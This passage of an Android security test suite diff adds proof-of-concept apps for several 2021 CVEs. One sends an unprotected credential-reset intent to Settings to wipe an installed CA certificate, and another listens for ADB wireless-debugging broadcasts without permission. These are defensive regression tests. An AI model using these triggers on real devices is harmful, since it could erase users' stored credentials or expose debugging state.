+ * The Certificate and keypair below are generated with:
+ *
+ * openssl req -nodes -new -x509 -keyout key.pem -out cert.pem -days 3650
+ */
+
+ // Content from cert.pem
+ public static final String TEST_CA = "-----BEGIN CERTIFICATE-----\n"
+ + "MIIDAzCCAeugAwIBAgIUax98yDH6YvGpzh2XQBYV7MU2ao8wDQYJKoZIhvcNAQEL\n"
+ + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExMzcxNloXDTMyMDIxNTEx\n"
+ + "MzcxNlowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n"
+ + "MIIBCgKCAQEAoPTRA3pjJc1JTQN3EK6Jtl9JkJaI0+P/e3Bzyi4MkxrSuHDvfqP0\n"
+ + "08roSZgG0a/I1oSlfTSt5QEOvuJH3KVW0IuUF71JYO6rmm7wU2Clx89qmONgQGJR\n"
+ + "G72qvhIBEN1zma2WK9NFcQ4amYspLfkB9HSjy3C+LCwgqoQFfND6uaCGELayx4km\n"
+ + "CnJgBfxNddcz0abWShJ0fr0lOPtKY4tPHhE/1oWGGqAI/U808veLJDpQ06c8wjNf\n"
+ + "8GD7thykOwoTlF630gz0gA/VkmxiOfn0WXRS8VeJ6TeilFsBNUSD4tLA250U8r0F\n"
+ + "d9yFMRVtdFPuNP1ajf2IO+RLpQUr2kWAbQIDAQABo1MwUTAdBgNVHQ4EFgQU1gXp\n"
+ + "r3L/Gf39tvSOZrD5wSQmUJAwHwYDVR0jBBgwFoAU1gXpr3L/Gf39tvSOZrD5wSQm\n"
+ + "UJAwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAFDTpZ1LNtd29\n"
+ + "hh+8TFvAOoaMx06AgnTRdLdsWwcjJCCAHvBiimE23XFO91VjTbttIXynpnKHVwOf\n"
+ + "lgTsExLtXDFU65OQNaWt7UebtWdvxsThd754SUsSGVuZ6VXyI5EuADoU/MocdE3B\n"
+ + "+EJZnl/HvG4KKPTL+YdlvthI1j5WUmI2m7yVzYouC72y92L3ebPaGdMcbp9wjZ89\n"
+ + "LdvAJ8yaLqVxv7TQgXORUo1NrqASsVVW/IgmovHuZj9wK7ZenFhT58ue7nxqQm4Z\n"
+ + "nQfdnxdV19tprMfx1+uu7NNqvxCv1UN6peeBzF/0Bony+9oNzOnGYwMRm9Ww8+mJ\n"
+ + "v02a06J8kg==\n" + "-----END CERTIFICATE-----";
+
+ private UiDevice device;
+ private Context context;
+ private PackageManager packageManager;
+
+ private void openApplication(String applicationName) {
+ Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ context.startActivity(intent);
+ assumeTrue(resources.getString(R.string.openFail) + applicationName,
+ device.wait(Until.hasObject(By.pkg(applicationName)), TIMEOUT));
+ }
+
+ private void tapText(String text) {
+ boolean buttonClicked = false;
+ UiObject2 object = device.findObject(By.text(text));
+ if (object != null && object.getText() != null) {
+ object.click();
+ buttonClicked = true;
+ }
+ assumeTrue(resources.getString(R.string.tapFail) + text, buttonClicked);
+ }
+
+ protected boolean isPackageInstalled(String packageName) {
+ try {
+ PackageInfo pi = packageManager.getPackageInfo(packageName, 0);
+ return pi != null;
+ } catch (PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ @Before
+ public void setUp() {
+ // Initialize UiDevice instance
+ device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ context = InstrumentationRegistry.getInstrumentation().getContext();
+ packageManager = context.getPackageManager();
+ resources = context.getResources();
+ settingsPkg = PocActivity.checkIsCar() ? resources.getString(R.string.settingsPkgCar)
+ : resources.getString(R.string.settingsPkg);
+ assumeTrue(settingsPkg + resources.getString(R.string.pkgInstallFail),
+ isPackageInstalled(settingsPkg));
+ }
+
+ @Test
+ public void testCredentialReset() {
+ final byte[] cert = TEST_CA.getBytes();
+ PocPolicyManager policyManager = new PocPolicyManager(getApplicationContext());
+ assumeFalse(resources.getString(R.string.certInstalled),
+ policyManager.hasCaCertInstalled(cert));
+ assumeTrue(resources.getString(R.string.certInstallFail),
+ policyManager.installCaCert(cert));
+ assumeTrue(resources.getString(R.string.certNotFound),
+ policyManager.hasCaCertInstalled(cert));
+
+ // Open the PoC and attempt to reset credentials
+ openApplication(resources.getString(R.string.pkgName));
+ // Button is used to reset credentials after confirming that PoC opened successfully
+ tapText(resources.getString(R.string.cleanCache));
+ if (device.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT)) {
+ // Press OK in the reset dialog which confirms before clearing certificates
+ tapText(resources.getString(R.string.oK));
+ }
+ long end = System.currentTimeMillis() + TIMEOUT;
+ while (System.currentTimeMillis() < end) {
+ if (!policyManager.hasCaCertInstalled(cert)) {
+ // Without fix, the certificate is reset
+ fail(resources.getString(R.string.failMessage));
+ }
+ }
+
+ // With fix, the certificate is not reset. Uninstall it explicitly
+ policyManager.uninstallCaCert(cert);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
new file mode 100644
index 00000000000..7d112f2f06a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+
+import androidx.test.InstrumentationRegistry;
+
+public class PocActivity extends Activity {
+
+ public static boolean checkIsCar() {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ Button button = (Button) findViewById(R.id.button);
+ button.setOnClickListener(new View.OnClickListener() {
+ @Override
+ public void onClick(View view) {
+ credentialStorageReset();
+ }
+ });
+ }
+
+ private void credentialStorageReset() {
+ boolean isCar = checkIsCar();
+ Intent intent = new Intent("com.android.credentials.RESET");
+ String pkg = isCar ? getResources().getString(R.string.settingsPkgCar)
+ : getResources().getString(R.string.settingsPkg);
+ String cls = isCar ? getResources().getString(R.string.certClsCar)
+ : getResources().getString(R.string.certCls);
+ intent.setClassName(pkg, cls);
+ try {
+ startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java
new file mode 100644
index 00000000000..4c413c25db8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+ @Override
+ public void onEnabled(Context context, Intent intent) {
+ super.onEnabled(context, intent);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java
new file mode 100644
index 00000000000..76a5a9402fc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class PocPolicyManager {
+ private Context mContext;
+ private DevicePolicyManager mDevicePolicyManager;
+ private ComponentName mComponentName;
+
+ public PocPolicyManager(Context context) {
+ this.mContext = context;
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+ PocDeviceAdminReceiver.class.getName());
+ }
+
+ public boolean installCaCert(byte[] cert) {
+ return mDevicePolicyManager.installCaCert(mComponentName, cert);
+ }
+
+ public boolean hasCaCertInstalled(byte[] cert) {
+ return mDevicePolicyManager.hasCaCertInstalled(mComponentName, cert);
+ }
+
+ public void uninstallCaCert(byte[] cert) {
+ mDevicePolicyManager.uninstallCaCert(mComponentName, cert);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
new file mode 100644
index 00000000000..dbf8b37205b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39794-receiver",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml
new file mode 100644
index 00000000000..8464275fd8d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39794_receiver"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-sdk android:targetSdkVersion="25"/>
+ <application
+ android:label="CVE-2021-39794-receiver"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".PocReceiver"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="com.android.server.adb.WIRELESS_DEBUG_STATUS" />
+ <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRED_DEVICES" />
+ <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRING_RESULT" />
+ </intent-filter>
+ </receiver>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml
new file mode 100644
index 00000000000..a85bec90a5a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java
new file mode 100644
index 00000000000..c62e464d617
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_receiver;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java
new file mode 100644
index 00000000000..ebad4ed3b88
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_receiver;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocReceiver extends BroadcastReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ // If PocReceiver is able to receive AdbManager broadcasts
+ // without having MANAGE_DEBUGGING permission, this indicates
+ // that vulnerability exists. Transfer control back to
+ // the test app and make the CTS fail in PocTestActivity
+ try {
+ Intent i = new Intent();
+ i.setClassName("android.security.cts.CVE_2021_39794_test",
+ "android.security.cts.CVE_2021_39794_test.PocTestActivity");
+ i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(i);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
new file mode 100644
index 00000000000..0ddc4fac5af
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39794-test",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+ certificate: "platform",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml
new file mode 100644
index 00000000000..8ae602509aa
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39794_test"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.MANAGE_DEBUGGING"/>
+ <application
+ android:label="CVE-2021-39794-test"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocTestActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39794_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java
new file mode 100644
index 00000000000..d918b06d839
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_test;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.content.Context;
+import android.debug.IAdbManager;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.ServiceManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final int MAX_WAIT_TIME_MS = 10000;
+
+ @Test
+ public void testCVE_2021_39794() {
+ IBinder binder = ServiceManager.getService(Context.ADB_SERVICE);
+ assumeNotNull(binder);
+ IAdbManager manager = IAdbManager.Stub.asInterface(binder);
+ assumeNotNull(manager);
+ try {
+ manager.enablePairingByPairingCode();
+ } catch (RemoteException e) {
+ assumeNoException(e);
+ }
+
+ // Wait for receiver app to get the broadcast
+ try {
+ Thread.sleep(MAX_WAIT_TIME_MS);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java
new file mode 100644
index 00000000000..6c11b9afcee
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_test;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocTestActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ fail("Vulnerable to b/205836329 !!");
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
new file mode 100644
index 00000000000..9ba76d0563d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39796",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml
new file mode 100644
index 00000000000..9ef97633d30
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_39796"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:allowBackup="true"
+ android:label="CVE_2021_39796"
+ android:supportsRtl="true">
+ <service android:name=".PocService"
+ android:enabled="true"
+ android:exported="true" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39796" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
new file mode 100644
index 00000000000..d669e9ff7ce
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39796-harmful",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml
new file mode 100644
index 00000000000..52f2fd2c3e0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39796_harmful"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2021-39796-harmful"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml
new file mode 100644
index 00000000000..bb5d5701ec3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
